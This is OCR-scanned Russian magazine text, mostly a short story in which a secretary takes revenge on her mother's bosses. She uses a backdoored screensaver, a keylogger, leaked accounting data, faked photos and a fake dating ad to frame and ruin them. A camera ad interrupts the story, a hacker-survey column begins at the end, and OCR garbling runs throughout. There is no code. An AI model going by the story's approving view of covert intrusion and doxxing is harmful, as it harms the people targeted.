жить с эгоистом, который совершен- 
но не ценит во мне женщину». Кучу 
драгоценностей и процветающий 
косметический салон, который он 
подарил ей на последний день рож- 
дения, она, видимо, считала не вни- 
манием с его стороны, а платой за 
то, что она его терпит. Да и жалеть, 
собственно, было не о чем. 

Любви хватило только на первые нес- 
колько лет, а потом все стало привыч- 
кой с рутинными супружескими обя- 
занностями и тайными краткосрочны- 
ми романами на стороне у обоих. 

Дети уже выросли и разъехались, об- 
щим были только быт, даже друзей 
общих не осталось, поэтому расста- 
лись легко и без сожаления. Сегодня 
он ночевал у очередной пассии. Но- 
вую квартиру себе он купил еще до 
развода, но ночевал там редко, так и 
не найдя времени, чтобы привести ее 
в порядок. 

Когда он зашел в офис, уже в маске 
озабоченного глобальными пробле- 
мами начальника, было около деся- 
ти. Кто-то из сотрудников тут же схва- 
тился за телефон, имитируя очень 
важный разговор, другому тут же по- 
надобилось с какими-то бумажками 
бежать через весь офис. «Идиоты», — 
подумал он, прекрасно зная, что как 
только он пройдет в свой кабинет, вся 
суета прекратится и они займутся 
своими обычными делами типа бол- 
тания в аське и обсу>кдения послед- 
них новостей за чашечкой кофе. 

Выскочившим ему навстречу начальникам отдела безопасности 
и отдела снабжения он коротко кивнул и прошел к себе. 

— Кофе и ни с кем не соединять, — кинул он секретарше Леноч- 
ке, которая вскочила навстречу. Пока он снимал пальто, на столе 
уже появилась чашка с обжигающим кофе и с парой круассанов 
на блюдце из дымчатого стекла. Работать не хотелось. Совеща- 
ние с начальниками служб было назначено на одиннадцать, а по- 
ка он хотел просто попить кофе и сыграть пару раз в І_іпе$. Но сто- 
ило ему сесть в свое роскошное кожаное кресло, как экран мо- 
нитора, на котором крутился хранитель экрана с эмблемой фир- 
мы, посветлел и замигал огонек вызова на видеоконференцию. 
Увидев имя вызывающего, Николай Петрович за две секунды при- 
осанился, поправил волосы и галстук и нажал кнопку «СоппесГ». 
Он уже не был начальником, лицо стало сосредоточенным, подо- 
бострастным, как и должно быть, когда тебя вызывает сам шеф. 

— Я разочарован и расстроен. — Голос шефа был бесцветен и не 
выражал никаких эмоций. — Ты обманул меня, хотя я тебе верил 
как родному. Я дал тебе власть и деньги, но тебе этого показа- 
лось мало, и ты решил еще и обокрасть меня. 

Шеф подал знак рукой кому-то, и под его изображением побежа- 
ли строчки с цифрами, в которых Николай Петрович с ужасом уз- 
нал номера своих счетов, на которые он помещал уведенные из 
фирмы деньги. Финансовые операции всегда были чистыми, и 
знал об этих счетах только он, даже бухгалтер, без которого это 
нельзя было провернуть, был посвящен только в часть комбина- 
ций и не знал всей картины. «Кто сдал? Узнаю — убью!» — про- 
мелькнуло в его голове, пока он судорожно пытался сообразить, 
что ответить шефу. 

— Мне не нужны твои оправдания, — продолжил шеф, — меня 
это уже не интересует. О деньгах я уже позаботился. А ты... Ты 
уволен! Совсем! 

Николай Петрович дернулся от резкого удара в затылок. Пуля, 
сделав аккуратную дырочку в оконном стекле за его спиной, про- 
била голову насквозь и застряла где-то в стене. 

Шеф поморщился, протянул руку, и окно видеосвязи закрылось. Заб- 
рызганный кровью и мозгами экран монитора еще минуту светился, 
потом стал черным, но вместо эмблемы фирмы на нем закружился 
череп с костями и засветилась надпись «Око за око». Потом срабо- 
тала программа уничтожения данных, и компьютер тоже умер. 



[главный бухгалтер] Наталья Ивановна сидела за столом в углу 
комнаты и с раздражением смотрела через стеклянную перего- 
родку на свой отдел. Молодые бухгалтерши менялись часто, и 
каждая новая не представляла из себя ничего особенного, но 
уже на второй неделе работы начинала гнуть пальцы и видеть се- 
бя на ее месте. Девочки грациозно дефилировали по конторе, 
демонстрируя свои довольно откровенные наряды, или, сидя на 
рабочем месте, аккуратно, чтобы не сломать ногти, что-то печата- 
ли на клавиатуре, но когда дело доходило до конкретной работы, 
каждую вторую приходилось проверять и исправлять ей. «Где бы 
еще такую взять, как я, — сокрушенно думала Наталья Ивановна. 

— Тогда остальных можно просто выгнать. Но нет больше таких. А 
если есть, такую цену заломят...». 

В душе она все еще была Наташей, но девочкой ее мог назвать 
только ее муж, да и то после принятия обычной дозы на грудь. Го- 
ды сидячей работы сделали свое дело, даже ручки у кресла 
пришлось открутить, так как иначе она просто не помещалась. 
Это была еще одна причина неприязни ко всем этим девочкам. 

В принципе, работать ей тут нравилось. Фирма по документам и 
отчетам еле-еле сводила концы с концами, но подарки и 
«скромные сувениры», которые на все праздники и дни рожде- 
ния получали нужные люди в налоговой, в банке, в милиции и так 
далее, делали свое дело, и положением фирмы никто особенно 
не заморачивался. О проверках было известно заранее, как и о 
пристрастиях проверяющих, так что в результате все были до- 
вольны, и фирма символически платила небольшие штрафы за 
мелкие нарушения, «обнаруженные» проверяющими. Работяги 
по бумагам получали одну-две минималки, но не возмущались 

— на руки выходило по 200-300 баксов черным налом, а о буду- 
щем они не задумывались. 

Конечно, была и черная бухгалтерия, которой занимались са- 
мые проверенные девочки. Согласно ей фирма процветала, и 
именно эти данные поступали наверх. Бывший сисадмин что-то 
долго делал с компьютером Натальи Ивановны, и после этого 
при нажатии определенной комбинации клавиш и ввода пароля 
стал появляться новый диск, где вся черная бухгалтерия и храни- 
лась. Нажал кнопки снова или просто выключил компьютер — и 
диск исчезал без следа. 

Но была еще и серая бухгалтерия, о существовании которой зна- 
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ла только она и начальник. Изредка удавалось провернуть опе- 
рации, доход от которых шел только им, большая часть отходила 
начальнику, но она понимала правила игры и молчала. 

Утро началось как обычно, но настроение испортила одна из де- 
вочек. «Так, Машку пора увольнять, борзеть начинает, начиталась 
журналов и меня начала учить, что и как делать». Додумать она не 
успела. Раздался шум, дверь распахнулась, и в комнату ворва- 
лись мужики в камуфляже и в масках с автоматами в руках. «Бан- 
диты или налоговая? Почему охрана не предупредила», — только 
и успела подумать Наталья Ивановна, одновременно нажимая 
заветные кнопки, как ее грубо выволокли из ее закутка и придави- 
ли к стене рядом с остальными. 

— Кто главный бухгалтер? — обратился ко всем молодой человек 
в костюме. — Совместная проверка налоговой и ОБЭП. Пройдем- 
те в ваш кабинет. 

Вслед за ним зашел еще один мужчина в костюме и без маски и 
пара напуганных женщин, видимо понятые. Молодой человек что- 
то посмотрел в своих бумажках, нажал на клавиатуре ту самую 
комбинацию клавиш и уверенно ввел пароль. Удовлетворенно 
хмыкнул, немного покопался в 1С, изредка посматривая в какие- 
то свои распечатки, потом встал и подошел к сейфу в углу. Ста- 



рый обшарпанный сейф был открыт, и 
из замка торчали ключи. Но молодой 
человек прошел мимо и с усилием на- 
жал на одну из панелей, которыми бы- 
ли обшиты стены. Панель открылась, и 
за ней оказался еще один сейф. Све- 
ряясь с бумажкой, мужчина ввел код, и 
дверь сейфа легко открылась, показы- 
вая всем присутствующим два отделе- 
ния, одно забитое пачками денег, дру- 
гое — документами. Наталье Ивановне 
захотелось завыть. Экран ее компьюте- 
ра внезапно почернел, и через секун- 
ду на нем появился нарисованный че- 
ловечек, который жалостливыми глаза- 
ми смотрел на происходящее из-за тю- 
ремной решетки. Наталья Ивановна не 
выдержала и зарыдала во весь голос и 
уже не видела, как под человечком за- 
горелась надпись «Око за око». 

[начальник службы безопасности] Сте- 
паныч по жизни был халявщиком. Еще в 
детстве, насмотревшись, как гробит 
здоровье отец слесарем на заводе и 
мать уборщицей в школе, он дал себе 
слово никогда в жизни не работать. Так 
как талантов, кроме умения много бол- 
тать, по большому счету не было, а здо- 
ровьем бог не обидел, он после школы, 
погуляв лето, загремел в армию. Быстро 
смекнув, что к чему, он подал заявление 
в школу прапорщиков, после которой 
отслужил в этой же части десять лет по 
контракту. Должность начальника про- 
дуктового склада стала воплощением 
мечты всей жизни, и он бы с радостью 
до старости проходил в прапорщиках, 
если бы банально не проворовался. 
Судить его, конечно, не стали, кому 
нужно пятно на части, но заставили все 
возместить и немедленно сплавили его 
на гражданку, благо срок контракта по- 
дошел к концу. Погуляв полгода, он с 
помощью друзей сделал себе лицен- 
зию охранника и, поменяв с десяток 
мест от магазина до автостоянки, нако- 
нец-то попал на работу в одну солид- 
ную контору. Общительного охранника 
с большим опытом работы, да еще и 
бывшего военного, заметили и вскорос- 
ти сделали начальником отдела безо- 
пасности. Непыльная работа, хорошая 
зарплата и даже отдельный кабинет с 
компьютером наводили Степаныча на 
мысль, что он любимец судьбы. 

С утра, как обычно, он обошел вверенную территорию, наорал 
на ночного охранника за пивную бутылку, найденную за шкафом, 
потрепался за жизнь с начальником отдела снабжения в курилке 
и пошел к себе в кабинет. Вошедшего директора он увидел пер- 
вым, успел сделать озабоченное лицо, делая вид, что у него мно- 
го проблем, и как бы рассеянно поздоровался, но директор на 
него даже не взглянул, только буркнул что-то неразборчивое в от- 
вет и прошел к себе. «Ну и ладно, — подумал Степаныч. — Глав- 
ное, что он меня видел, и я был при деле. А теперь пора по кофей- 
ку врезать». На своем компьютере он мог посмотреть картинку с 
любой из камер, натыканных по всему офису, чем периодически 
и занимался. Быстро просмотрев разные помещения и не найдя 
никакого криминала, он переключился на приемную директора. 
Секретарь Леночка ему нравилась, и она не знала (или делала 
вид, что не знает) о камере, и иногда можно было увидеть много 
интересного. 

Отхлебнув кофе, Степаныч запустил аську. Но вместо того чтобы 
развернуться сбоку экрана, она заругалась на неправильный 
пароль. «Может, что сломалось?» — на большее у него не хватило 
воображения, и он закрыл окно от греха подальше: «Ладно, по- 
том еще попробую». Попытался зайти на любимый форум, но его 



туда не пустили, сообщив о каком-то пожизненном бане, в другой - тоже, в третий - та же 
история. Он попытался зарегистрироваться снова, но что только не вводил - его посыла- 
ли подальше, все время выводя на экран его обычный ник Ргарог и напоминание про 
бан. Ему стало не по себе, это уж не могло быть ошибкой, происходило что-то непра- 
вильное. Он уже поднялся, чтобы сходить к программистам, когда заметил на экране, 
как странно забегала Леночка. Она вскочила, уронив стул, и побежала в кабинет к на- 
чальнику. Распахнув дверь, она несколько секунд стояла на пороге, зажав рот рукой и 
как бы боясь войти в комнату, потом неуклюже повернулась, нашла глазами камеру и, 
глядя прямо в нее, стала тыкать другой рукой в открытую дверь кабинета. Через минуту 
Степаныч, оттолкнув Леночку от дверей, вбежал в кабинет и увидел мертвого директора. 
Дальше все происходило как в тумане. Только он вызвал милицию и положил трубку, как 
в кабинет ворвались люди в масках с автоматами и положили их на пол. 

— Это не я его, — пытался сказать Степаныч, но пролежать с заломанными назад рука- 
ми в наручниках пришлось почти целый час. Потом приехали из убойного отдела, долго 
о чем-то препирались с ОБЭПовцами, допрашивали его, Леночку и всех остальных, 
смотрели записи с камер и в конце концов уехали, забрав тело. Думать Степаныч уже 
не мог, только тупо сидел в курилке и смолил сигареты одну за другой. Несколько раз в 
курилку заходил замдиректора, тихонько матерясь, стрелял у него сигарету, затягивал- 
ся пару раз и уходил. 

Уже ближе к вечеру зам заглянул в последний раз. 

— Слышь, Степаныч, все ушли, давай проверь все и тоже иди домой, а завтра приходи 
пораньше, менты опять приедут, снова будут допрашивать. 

Степаныч на автомате прошелся по помещениям. Кабинет начальника был опечатан, 
компьютеров не было, видимо, ОБЭП забрал все, везде валялись какие-то бумажки. Уже 
на выходе он что-то хотел сказать охраннику, но только махнул рукой и вышел на улицу. 
Зайдя за угол, он налетел на какого-то парнишку с пингвином на майке. 

— О, Ргарог, это ты, что ли? - парень вопросительно смотрел на него снизу вверх. 

— Ну я, а тебе чего? - Степаныч даже не среагировал на то, что паренек назвал его ник 
из форумов. 

— Да так, ничего, — парень ухмыльнулся и, взглянув куда-то ему за спину, кивнул головой. 
Через секунду удар бейсбольной биты сбил его на землю, и он потерял сознание. Ког- 
да он пришел в себя, рядом никого не было. Все тело болело, обе руки, похоже, были 
сломаны. Он с трудом встал и тяжело побрел, почти теряя сознание от боли, обратно на 
работу. Охранник, увидев его через камеру наружного наблюдения, помог зайти внутрь 
и вызвал скорую. 

[начальник отдела кадров] «Черт, как все неудачно сложилось, — думал Виктор Серге- 
евич, когда начался весь этот кошмар в офисе. — Все планы коту под хвост». Сегодня 
должны были прийти важные клиенты за товаром. Виктор Сергеевич немного подхалту- 
ривал, подбирая персонал на заказ. Народу устраиваться на работу в контору прихо- 
дило много, гораздо больше, чем требовалось, и многих он сбывал налево, в другие 
фирмы. Схема была отработана давно — заказчику представлялось досье человек на 
десять, реальными из которых были только двое-трое, остальных добавлял для солид- 
ности, но он выставлял им такие низкие оценки, что у клиентов даже не возникало жела- 
ния с ними разговаривать. Нормальный бухгалтер или юрист уходил баксов за 300, хоро- 
ший специалист — уже за 500. Нанимая на работу сотрудников, он говорил, что первые 
три месяца, якобы испытательный срок, человек будет получать только 50 процентов от 
будущей реальной зарплаты, а главбух все это время начисляла полную зарплату и раз- 
ницу они делили между собой. 

Деньги Виктору Сергеевичу нужны были всегда. Он очень любил свою жену, даже нас- 
тоял, чтобы она бросила работу и целиком занялась собой и домом. Но жене было скуч- 
но дома, и она ходила в тренажерный зал, в косметические салоны, в кафе с подружка- 
ми и обожала хорошие магазины. Все это стоило довольно дорого, и ему приходилось 
крутиться и зарабатывать деньги на каждом, кто попадал к нему в руки. Исключение он 
делал только для многочисленных родственников, которые из-за своей природной ту- 
пости, как он считал, постоянно теряли работу. 

Смерть директора его нисколько не расстроила, ну какая разница, в конце концов, не 
один, так другой. А вот арест главного бухгалтера его взволновал. Но потом, немного по- 
думав, он решил, что сдавать его она не будет, зачем ей на себя брать лишнее. Поэто- 
му он позвонил клиентам, перенес встречу на пару дней, сославшись на форс-мажор, 
и весь день уже с удовольствием наблюдал весь этот спектакль, даже сходил на доп- 
рос, с интересом разглядывая настоящих ментов и сравнивая их с киношными. Настоя- 
щие проигрывали по всем статьям — были какими-то серыми и усталыми. 

Когда все закончилось и замдиректора отпустил всех по домам, Виктор Сергеевич 
быстро собрался и одним из первых отъехал от офиса на своей сверкающей тойоте. Он 
уже мечтал, как они с женой сядут за столом в гостиной и за чашечкой чая он расска- 
жет ей во всех подробностях сегодняшнего дня. Супруга будет сидеть рядом, иногда 
охать и переспрашивать, упиваясь подробностями. 

На звонок долго не открывали, и он начал волноваться. Но когда он уже занес руку, что- 
бы начать стучать в дверь, она распахнулась. Лицо жены было злым и красным. В руках 
у нее была сумка, которая тут же полетела в него. 

— Убирайся, я не хочу тебя больше видеть, — сквозь слезы крикнула жена. — Я подаю 
на развод! 

Было видно, что у нее истерика, и Виктор Сергеевич только открыл рот, чтобы спро- 
сить, что случилось, но дверь уже захлопнулась перед его носом. Через пару секунд 
она снова открылась, ему в лицо полетела пачка фотографий, и тут же дверь снова 
захлопнулась. Рыдания жены стали слышны тише видимо, она ушла в спальню. Он 



Планируешь покупку цифровой камеры, 

но не знаешь, какую модель выбрать? 

Прочитав наш журнал, 

ты обязательно сделаешь правильный выбор и 

НАЙДЕШЬ СВОЮ КАМЕРУ! 







ЧИТАЙ В МАЙСКОМ НОМЕРЕ: 

Идеальная камера: 

какая из них твоя? 

Выбираем сротопринтер. 

Обзоры камер Сапоп ОідііаІ 1X1)3 
50, Сазіо ЕХШМ ЕХ-257, Зопу 
СуЬег-зІтоі: ОЗС-И, РоѵегЗІтоі: 
КЗ-250, Косіак ЕазуЗІтаге 2740, 
ОІутриз С-7070 ѴѴІбе 2оот. 

5 мегапикселей для новичков* 

Сравнительный обзор 5-мега- 
пиксепьных камер начального 
уровня. 
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еще немного постоял, прижимая к груди сумку и пытаясь пере- 
варить произошедшее. Потом поставил сумку на пол и начал 
поднимать фотографии. На каждой был он. В офисе. В расстег- 
нутой рубашке, в ослабленном галстуке или вообще без него, с 
обмякшим лицом выпившего человека. Судя по датам в углу фо- 
тографий, это были корпоративные вечеринки на Новый год, 8 
марта и на юбилей фирмы. Но кроме него на каждом снимке 
были еще и женщины, в основном совсем голые, и их откровен- 
ные позы и недвусмысленные жесты в его сторону не оставляли 
никаких сомнений в их намерениях. Снимков было немного, 
около десятка, но все довольно хорошего качества, и даже у 
него на секунду закралось сомнение. «Черт, может, и вправду 
такое было? Да нет, не было ничего». 

— Дорогая, это все неправда, — Виктор Сергеевич начал тара- 
банить в дверь. — Открой, пожалуйста, я все объясню. 

Но ему никто не открыл. Он еще с полчаса стучал в дверь, кричал 
какие-то слова, давил на звонок до боли в пальцах, звонил жене 
на сотовый. Но потом смирился, взял сумку с вещами и вышел на 
улицу. Несколько минут он еще простоял, с надеждой вглядывал- 
ся в темные окна своей квартиры, потом развернулся и бесцель- 
но побрел по улице. 

[начальник компьютерного отдела] «Господи, какой счастливый 
день! Сначала шеф, теперь главбух, потом еще что-нибудь наро- 
ют, и снова головы полетят. Но на меня-то ничего не найдут, тут 
можно не волноваться. Ведь как знал, ни в одну аферу не влез. Ди- 
ректором мне, конечно, не стать, им станет зам, а вот на его мес- 
то. , . — Александр Сергеевич даже зажмурился от удовольствия, 
неожиданные перспективы карьерного роста кружили голову. — 
Зря я, что ли, зама и начальника отдела кадров на шашлыки на 
свою дачу возил, баньку с пивком организовывал. Все делал, что- 
бы своим считали. А на должность главбуха можно Машку прод- 
винуть. Не сейчас, конечно, могут неправильно понять, где-нибудь 
через недельку снова баньку организую и заму намекну, а потом 
и ей самой вскользь скажу, типа, хлопочу тут за тебя. Она девка 
сообразительная, глядишь, что и закрутится. Главное, все делать 
осторожно и не проколоться». Александр Сергеевич с трудом 
сдерживал радостную улыбку, когда уже совсем было невмоготу 

— прятал лицо в ладони. 

В двенадцать часов телефон, молчавший все утро, неожиданно 
зазвонил. 

— Добрый день, могу я поговорить с Александром? - осведомил- 
ся странно томный мужской голос. 

— Это я, слушаю вас. 

— Здравствуй, сладенький! Не надо на «вы», зови меня просто «ко- 
теночек». 

— Э. . . я вас не совсем понимаю. 

— Ой, конспиратор, я знаю, что ты на работе и кругом люди, гово- 
ри, как хочешь, противный, я тебя пойму. 

— Вы, видимо, не туда попали, уважаемый, — сказал Александр 
Сергеевич и положил аккуратно трубку. «Бывают же такие люди». 



— звонок не испортил ему настроения, хотя немного и озадачил. 
«И этого, которому он звонил, тоже Саша зовут». 

Через минуту телефон зазвонил снова. Александр Сергеевич ос- 
торожно снял трубку. 

— Алло. 

— Александр? - у звонившего мужчины был самый обыкновенный 
голос. 

— Да, это я, здравствуйте. 

— Здравствуйте, меня зовут Игорь. Мы не знакомы, но мы могли бы 
встретиться? 

— Ну да, конечно. Приезжайте в офис, тут и поговорим. Только 
объясните, по какому вопросу, чтобы я успел подготовить все не- 
обходимые материалы. 

— О нет, только не в офис. Давайте часиков в шесть в каком-ни- 
будь уютном кафе. Там нам никто не помешает. И готовить ничего 
не надо, я, как и вы, — голос мужчины приобрел интимное выра- 
жение, — обожаю спонтанный секс. 

— Эй, да за кого вы меня принимаете? 

— Ну, вы же сами так написали! «Молодой, симпатичный, люблю 
нежных мужчин и обожаю спонтанный секс». Что-то не так? 

— Где я написал? - голос Александра Сергеевича внезапно охрип. 

— На нашем гей-сайте. И телефоны указали, время, когда звонить, 
и адрес свой... 

— Уберите это немедленно!!! 

Александр Сергеевич как будто сдулся, ватной рукой он опустил 
трубку на телефон и зажал руками лицо. Телефон звонил непре- 
рывно. Изредка из соседних отделов выходили люди и звали его к 
своим телефонам, при этом с трудом сохраняя спокойное выра- 
жение лица. 

— Ты чего трубку не берешь? — замдиректора подошел к его сто- 
лу. -Соберись, Саша, проблемы проблемами, но клиентов мы те- 
рять не должны. 

В этот момент телефон зазвонил снова. Зам взял трубку. 

— Алло, слушаю вас. Да, меня зовут Александр, Александр Ва- 
сильевич. Да. Что? Да как вы... Не понял. Куда? - он отстранил 
трубку и удивленно посмотрел на нее, потом протянул Александ- 
ру Сергеевичу. - Кажется, это вас. - Он сделал несколько шагов 
в сторону своего кабинета и, как бы вспомнив что-то, повернулся. 

— Да, вот еще, Александр Сергеевич, тут такое дело, с завтраш- 
него дня можете на работу не выходить. 

[за пару месяцев до описываемых событий] Вера Петровна часто 
болела — сердце. Врачи говорили: «А что вы хотите? Возраст. Эко- 
логия. Стрессы», — и прописывали очередные таблетки, с каждым 
разом все дороже и дороже. На работе на ее периодическое от- 
сутствие смотрели сквозь пальцы, но она не злоупотребляла, не 
выходила, только когда совсем прижмет, тем более что больнич- 
ный никто не оплачивал. Обычно она отлеживалась дня три, а по- 
том работала допоздна, наверстывая упущенное. Но однажды 
после очередного приступа, на этот раз почти двухнедельного, 
она вышла на работу и увидела, что на ее месте сидит какая-то 
девочка. Начальник компьютерного отде- 
ла, в котором она работала, только разд- 
раженно буркнул: 

— Что вы ко мне-то пристаете, это было ре- 
шение руководства, что я могу сделать. 
Идите в отдел кадров, распишитесь в при- 
казе и заберите документы. 

Когда она вышла от начальника, коллега 
утащила ее в курилку и рассказала, что 
новая девочка - родственница начальника 
отдела кадров, и она сама слышала, как 
тот приходил к их начальнику и просил 
«пристроить девочку». Девочка была тупа 
как пробка и работу за нее тянули все ос- 
тальные. 

— Вера Петровна, уверяю Вас — все за- 
конно. — Виктор Сергеевич был сама 
любезность. — Вы, когда устраивались, 
написали заявление об увольнении, и 
вас предупреждали, что в случае чего 
церемониться не будем, впишем нужную 
дату и все. 

— Но просто по-человечески вы могли меня 
предупредить заранее. Я бы хоть работу нача- 
ла искать. Хотя кому я нужна в 50 лет. Может, у 
вас какая-нибудь вакансия есть на примете? 





УЖЕ В ПРОДАЖЕ 



— Ничего сейчас нет и, скорее всего, не будет. Если у вас все, то идите к кадровику за 
документами. А мне надо работать. 

Еле сдерживая слезы, Вера Петровна забрала документы, расписалась в приказе и 
пошла в бухгалтерию. Натальи Ивановны не было на месте, она пила чай с подругой, и 
ждать ее пришлось почти целый час. 

— Где же вы, милочка, ходите? Уволились две недели назад и не показываетесь, а мне 
отчеты надо сдавать. Вот, распишитесь тут и тут, — главбух подсунула какие-то бумажки. 

— Вот ваш расчет, — сказала она и протянула Вере Петровне 1000 рублей. 

— Что это? - опешила Вера Петровна, — я же восемь тысяч получала, да и в отпуск два 
года не ходила. Почему так мало? 

— Если у вас есть претензии - обращайтесь в суд. Мало ли, сколько вы там получали. От- 
пускные и расчет вам начислен, исходя из вашего официального оклада, у нас тут не бо- 
гадельня, мы не намерены тратить деньги на сотрудников, которые у нас уже не работа- 
ют. — Наталья Ивановна кривила душой, расчет она посчитала правильно, подпись за 
Веру Петровну в нужной ведомости поставила, а на эти деньги собиралась устроить в 
пятницу небольшой праздник по поводу своего дня рождения. 

Поняв, что здесь ей ничего не добиться, Вера Петровна решила зайти к директору, те- 
рять ей уже было нечего, а в случае удачи можно было выцарапать еще немного денег. 
Леночки на месте не было, и она постучала в кабинет директора и, немного выждав, 
толкнула дверь. Пробыла она там всего две минуты, потом в кабинет ворвался Степаныч 
и вытолкал рыдающую женщину в приемную. В приемной он крепко взял ее за локоть и 
потащил, стараясь не привлекать внимание сотрудников, к выходу. 

Вера Петровна не помнила, как она дошла до остановки автобуса и села на лавочку. Ее 
трясло, болело все тело, и резко закололо сердце. Пальцы не слушались, она попыта- 
лась достать таблетку валидола, но таблетки рассыпались прямо под ноги. Она с тос- 
кой смотрела на них, понимая, что это все. 

Когда через час к ней подошел милицейский патруль, Вера Петровна уже была мертва. 

[месть] Когда позвонили из милиции и сообщили о смерти мамы, чувство реальности отк- 
лючилось. Все происходящее проходило мимо сознания, какие-то люди что-то говори- 
ли, подсовывали какие-то бумаги, которые надо было подписать, приходили друзья, с 
сочувствием смотрели в глаза и неуклюже пытались помочь. Родственники, не показы- 
вавшиеся раньше годами, вдруг оказались рядом, разом облачившись во все черное. 
Угнетающая суета длилась до самых похорон, а после как-то в раз все закончилось. 
Ушли все, только мамина подруга осталась помочь убрать после поминок. Она, не ос- 
танавливаясь, что-то делала, не умолкая ни на секунду, и когда смысл ее слов наконец 
дошел до сознания, показалось, что произошел взрыв. Душа кричала, требуя немедлен- 
ной расправы, но разум требовал подтверждения. 

Когда ушла мамина подружка и дрожь в руках уже прошла, наступила пора действо- 
вать. Когда-то давно мама пыталась по заданию начальника написать фирменный хра- 
нитель экрана, у нее что-то не получалось, и она попросила помочь. Они тогда в инсти- 
туте проходили написание клиент-серверных приложений, и мысль прицепить к храни- 
телю дополнительные функции пришла сама собой. Маме понравилось: не вставая со 
своего места, она могла настраивать удаленный компьютер и запускать любую прог- 
рамму. И сам хранитель экрана получился на загляденье, при желании в нем дистанци- 
онно можно было менять картинку и текст. 

Сканирование сетки конторы показало, что хранитель установлен на большинстве 
компьютеров. Еще несколько дней занял сбор предварительной информации, написа- 
ние перехватчика клавиатуры, который бы не ловил антивирус, чтобы собрать пароли. 
Чтение переписки сотрудников по аське и по е-таіі — они не решались обсуждать все 
вслух — выявило новые подробности, и картина происшедшего сложилась полностью. 
Попутно вылезли интересные моменты жизни конторы и уязвимые места причастных. 
Около месяца ушло на распутывание дел начальника и главбуха, определение точек 
удара, подготовку фотографий. 

Накануне знаменательного дня шефу была слита вся нужная информация о махи- 
нациях и счетах директора, в ОБЭП и налоговую попали данные черной бухгалте- 
рии и необходимые коды и пароли. Еще всем было сообщено, что главбух и ди- 
ректор работают завтра последний день и у них по фальшивым документам куп- 
лены авиабилеты за границу в один конец. Через фирму доставки жене начальни- 
ка отдела кадров были отправлены фотографии с условием доставки в опреде- 
ленное время. Вечером на гей-сайт было закинуто объявление с полными данны- 
ми начальника компьютерного отдела. От имени начальника службы безопас- 
ности в форумах и через аську были инициированы жуткие наезды на всех с пос- 
ледующим предложением перенести разборки в реал. В профайл пользователя 
заранее были внесены все нужные данные и даже помещена фотография, потом 
пароли были изменены. 

Когда все началось, оставалось только наблюдать через камеры внутреннего наблю- 
дения за всем спектаклем и вовремя менять картинки и надписи, что доставляло особое 
удовольствие. 

На следующий день могила мамы была украшена белыми розами, которые она очень 
любила при жизни. «Вот и все, мама, спи спокойно». У входа на кладбище стояло такси, 
которое должно было увести в аэропорт, билет до Парижа лежал во внутреннем карма- 
не куртки вместе с данными об одном из счетов директора, об этом счете не знал никто. 

— Я обязательно к тебе еще приеду. — Леночка не была злой и мстительной, она прос- 
то очень любила маму © 
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[ЮНИТЫ] КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 



ЖЕНЩИНЫ О ХАКЕРАХ 

ЬООМІк (Ь00Мік@геаІ. хакер, ги) 



ПОЗДНИМ ВЕЧЕРОМ, КОГДА Я СИДЕЛ В 
ТЕПЛЫХ УЮТНЫХ ТАПКАХ ЗА КОМПОМ И 
РАБОТАЛ, СТУКНУЛСЯ КО МНЕ В АСЮ 
СІІТТЕП И СКАЗАЛ, ЧТО НА СЛЕДУЮЩИЙ 
ДЕНЬ МЫ С НИМ ВЫЙДЕМ НА ПРОСТОРЫ 
ГОРОДА-ГЕРОЯ МОСКВЫ С ЦЕЛЬЮ РА- 
ЗУЗНАТЬ У РАЗНЫХ СЛОЕВ НАСЕЛЕНИЯ, 
ПРЕИМУЩЕСТВЕННО ЖЕНСКОГО ПОЛА, 
ЧТО ЖЕ ОНИ ДУМАЮТ О ХАКЕРАХ. НЕ 
ВОПРОС — ТАКИЕ МЕРОПРИЯТИЯ Я 
ОБОЖАЮ, ПОЭТОМУ УТРОМ Я ТЩАТЕЛЬ- 
НО ПОДГОТОВИЛСЯ (ПОМЫЛСЯ, ПОБ- 
РИЛСЯ, ПОЧИСТИЛ ЗУБЫ И ПОГЛАДИЛ 
ОДЕЖДУ) И ВЫДВИНУЛСЯ В РЕДАКЦИЮ 

[за работу!] Петров спустился на первый этаж, 
стрельнул хороший фотоаппарат у коллег по 
цеху, чтобы зафотать всех наших респонден- 
тов, и мы с ним тронулись в путь. Но с чего на- 
чинается любая работа? Правильно, с пере- 
кура. Поэтому мы, великие блюстители древ- 
них традиций, сначала заглянули в соседнюю 
кафешку, дабы подкрепиться перед долгим и 
изнурительным рабочим днем корреспон- 
дента. Во время трапезы нам забрела в голо- 
ву такая мысль: а почему бы не начать опра- 
шивать прямо здесь? Сказано - сделано. Че- 
рез минуту милая официантка Олеся, 21 года 
от роду, отвечала перед нами на все постав- 
ленные вопросы. Как оказалось, отучившись в 
педагогическом колледже и Российской 
международной академии туризма, Олеся 
так и не смогла перейти на «ты» с компами. 
Для нее вообще все, что не ѴѴогсІ и ЕхсеІ — ки- 
тайская грамота в темном лесу. Хакеров де- 
вушка представляет как невзрачных людей, 
ничем, в принципе, не отличающихся от ос- 
тальной серой массы. В ярко одетом раста- 
мане или в представителе золотой молодежи 
Олеся никогда бы не признала хакера :). Зато 
на нашу просьбу уточнить, что же значит «не 
выделяющиеся своим внешним видом люди», 
она ответила так: «Да вот как вы прям!». Милая 
девушка, однако, я уже говорил? :) 

Минут пять мы объясняли официантке, что та- 
кое дефейс. Пройдя краткий курс компьютер- 
ного ликбеза, Олеся сказала, что считает при- 
кольным, когда парень взламывает сайт и ве- 
шает фотку своей девчонки на главную стра- 
ницу, распинаясь там о том, как он сильно ее 
любит. «Это очень романтично!» — сказала 
Леся, ни разу не выходившая в интернет :). 
Также девушка нам поведала о том, что не 
считает хакеров какими-то изгоями общест- 
ва, ненормальными людьми. Она бы совер- 
шенно не задумываясь влюбилась в очень 
понравившегося ей молодого человека, и 
то, что он хакер, для нее было бы неважно. 
Ведь хакеры, как сказала Олеся, — абсо- 
лютно обычные люди со своими увлечения- 
ми, так же, как и футбольные болельщики, 
байкеры или, к примеру, букинисты. И сов- 
сем не важно, чем человек занимается по 
жизни, ведь главное — его душа. 

В общем, к концу разговора мы успели доесть 
солянку с пивом, Олеся принесла нам счет, 
мы подарили ей почти свежий (гы) номер жур- 
нала на память и ретировались с места собы- 
тий, потому что окружающие уже стали на нас 
оглядываться, думая, что мы клеим девушку, а 
они из-за этого должны ждать своего заказа :). 
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[театр] Да, театр. Мы же не только шляемся по душным барам. Мы еще и 
в культурных местах изредка проскакиваем. Решили, значит, мы с Купе- 
ром задать вопросы какой-нибудь бабуле-билетерше. Зарулили в кассы 
